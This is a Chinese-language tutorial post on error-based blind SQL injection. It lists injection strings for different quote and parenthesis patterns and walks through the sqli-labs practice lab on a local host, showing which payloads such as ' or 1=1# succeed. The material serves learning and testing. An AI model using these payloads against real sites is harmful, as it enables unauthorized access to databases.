基于错误信息的SQL盲注
Posted 海枫
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了基于错误信息的SQL盲注相关的知识,希望对你有一定的参考价值。
何谓盲注
在SQL注入基础一文中介绍了SQL注入的基本原理,可以轻易注入的原因是知道SQL拼接代码是怎么写的。
很多情况下,很难甚至无法知道对方的SQL拼接语句是怎么写的,这里情况下需要做尝试,分析代码是采用何种拼接结构,然后再写个万能注入公式,这就是SQL盲注。如果利用错误提示信息,对SQL拼接方式做猜测并验证,这种方法称为基于错误信息的SQL盲注。
SQL拼接方式以及破解方法
此前遇到的SQL拼接写法是这样的:
sql = "SELECT * from users where name = '$name' AND passwd = '$passwd'
实际上SQL混淆写法是多种多样的,可以分为两个维度:
- 引号:是否有引号,单引号还是双引号
- 括号:是否有括号,单重括号还是多重插号
那组合出来的SQL拼接情况如下表:
引号 | 括号 | SQL拼接实例 | 注入方式 |
---|---|---|---|
无 | 无 | select * from uers where id = $id | id=-1 or 1=1# |
无 | 单重 | select * from users where id = ($id) | id=-1) or 1=1# |
单 | 无 | select * from user where id = '$id' | id=’ or 1=1# |
单 | 单重 | select * from user where id = ('$id') | id=’) or 1=1# |
双 | 无 | select * from user where id = "$id" | id=” or 1=1# |
双 | 单重 | select * from user where id = ("$id") | id=”) or 1=1# |
无 | 双重 | select * from user where id = (($id)) | id=-1)) or 1=1# |
* | 双重或多重 | 对于双重和多重情况,这里不枚举了 |
每种注入方式,如果跟SQL拼接实例不匹配,mysql语法器都会报错。如果在网页能提示MySQL语法格式出错,那就可以证明该格式是不匹配的,同时也可以佐证php后台没有对参数做过滤或者转换。
利用sqli-labs平台进行验证
练习1(http://192.168.0.107/sqli-labs/Less-1/)
按照上表,将种注入参数往里灌,看哪种会成功
URL | 灌的参数 | 结果 |
---|---|---|
http://192.168.0.107/sqli-labs/Less-1/?id=-1 or 1=1# | id=-1 or 1=1# | sql语法报错 |
http://192.168.0.107/sqli-labs/Less-1/?id=-1) or 1=1# | id=-1) or 1=1# | sql语法报错 |
http://192.168.0.107/sqli-labs/Less-1/?id=' or 1=1# | id=' or 1=1# | 成功 |
http://192.168.0.107/sqli-labs/Less-1/?id=') or 1=1# | id=') or 1=1# | sql语法报错 |
http://192.168.0.107/sqli-labs/Less-1/?id=" or 1=1# | id=" or 1=1# | sql语法报错 |
http://192.168.0.107/sqli-labs/Less-1/?id=") or 1=1# | id=") or 1=1# | sql语法报错 |
猜测SQL拼接如SELECT * FROM users WHERE id = '$id'
请注意:在Chrome浏览器里面,#字符需要写在URL转义符%23来代替,否则服务器接到的参数会少了#
练习2(http://192.168.0.107/sqli-labs/Less-2/)
注入表如下:
URL | 灌的参数 | 是否成功 |
---|---|---|
http://192.168.0.107/sqli-labs/Less-2/?id=-1 or 1=1# | id=-1 or 1=1# | 成功 |
http://192.168.0.107/sqli-labs/Less-2/?id=-1) or 1=1# | id=-1) or 1=1# | sql语法报错 |
http://192.168.0.107/sqli-labs/Less-2/?id=' or 1=1# | id=' or 1=1# | sql语法报错 |
http://192.168.0.107/sqli-labs/Less-2/?id=') or 1=1# | id=') or 1=1# | sql语法报错 |
http://192.168.0.107/sqli-labs/Less-2/?id=" or 1=1# | id=" or 1=1# | sql语法报错 |
http://192.168.0.107/sqli-labs/Less-2/?id=") or 1=1# | id=") or 1=1# | sql语法报错 |
猜测SQL拼接如SELECT * FROM users WHERE id = $id
练习4(http://192.168.0.107/sqli-labs/Less-3/)
注入表如下:
URL | 灌的参数 | 是否成功 |
---|---|---|
http://192.168.0.107/sqli-labs/Less-4/?id=-1 or 1=1# | id=-1 or 1=1# | sql语法报错 |
http://192.168.0.107/sqli-labs/Less-4/?id=-1) or 1=1# | id=-1) or 1=1# | sql语法报错 |
http://192.168.0.107/sqli-labs/Less-4/?id=' or 1=1# | id=' or 1=1# | sql语法报错 |
http://192.168.0.107/sqli-labs/Less-4/?id=') or 1=1# | id=') or 1=1# | sql语法报错 |
http://192.168.0.107/sqli-labs/Less-4/?id=" or 1=1# | id=" or 1=1# | sql语法报错 |
http://192.168.0.107/sqli-labs/Less-4/?id=") or 1=1# | id=") or 1=1# | 成功 |
猜测SQL拼接如SELECT * FROM users WHERE id = ("$id")
遇到多重括号该怎办
在做sqli-labs练习题时,如果出现上述6种注入格式都无法注入成功,很可能是遇到了多重括号的SQL拼接情况。比如Less-7(http://192.168.0.107/sqli-labs/Less-7/),使用上述6种注入方式都不行,就得考虑是否有两重或多重括号了。
假设是两重括号,然后id可能无引号/单引号/双引号 这几种场景来枚举,依赖尝试
http://192.168.0.107/sqli-labs/Less-7/?id=-1)) or 1=1#
http://192.168.0.107/sqli-labs/Less-7/?id=')) or 1=1#
http://192.168.0.107/sqli-labs/Less-7/?id=")) or 1=1#
发现 http://192.168.0.107/sqli-labs/Less-7/?id=')) or 1=1#
注入成功,可以断定它的SQL是这样拼接的SELECT * from user where id = (('$id'))
。
基于出错信息进行准确注入
其实在上面做了很傻的枚举尝试,如果有MySQL开发经验,根据网页报出的语法错误信息,就可以推测到SQL拼接是怎样实现的,可以更快注入成功。
比如在Less-1练习中,尝试注入id=1’
即访问:http://192.168.0.107/sqli-labs/Less-1/?id=1’
马上获得如下错误信息:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”1” LIMIT 0,1’ at line 1
关键信息是说: ”1” LIMIT 0,1’ 附近有语法问题,请留注一下,SQL语法错误提示时,是将有问题的语法用单引号括起来的,也即有问题的内容是:‘1” LIMIT 0,1
1’是输入内容,很明显能猜测到SQL拼接是:id=’$id’ 这种方式。
对于id = (($id))
或者id = (('$id'))
这两种拼接方式,使用id=1'
或者id=1"
注入方式,很容易就能从错误提示中找到SQL拼接方式。
语法错误说明了什么
如果注入过程中,出现语法错误提供信息,那你就可以放心了。因为语法错误从侧面说明了,PHP后台没有对输入做任何转义或者过滤。做了转义或过虑之后,所有)'"
这些特殊字符都被处理了,不会错误语法错误,最多是查询不到符合条件的数据而已。
即然没有对输入做转义或者过滤,可以利用上述的注入表进行攻击,如果对MySQL出错提示了解的话,可以更快找到注入式,不需要每个都试。
但是有些题目只提供有语法出错,不告诉出错的具体内容,这时就需要猜和经验了。
小结
基于错误信息的SQL盲注,需要php区别3种情况
1)SQL语法出错
2)SQL合法,查询结果为空
3)SQL合法,查询结果非空
如果1)和2)结果返回都一样,当前方法是很难破解,因为输入的参数没法知道是否被转义了,还是语法格式不对。
如果有SQL语法报错信息,则一定表示没有被转义和过虑,可以放心做使用当前方法。
那基于错误信息的SQL盲注,只有上述这种办法吗?我想不止,但目前还没有了解,请有经验的朋友过来分享,谢谢。
以上是关于基于错误信息的SQL盲注的主要内容,如果未能解决你的问题,请参考以下文章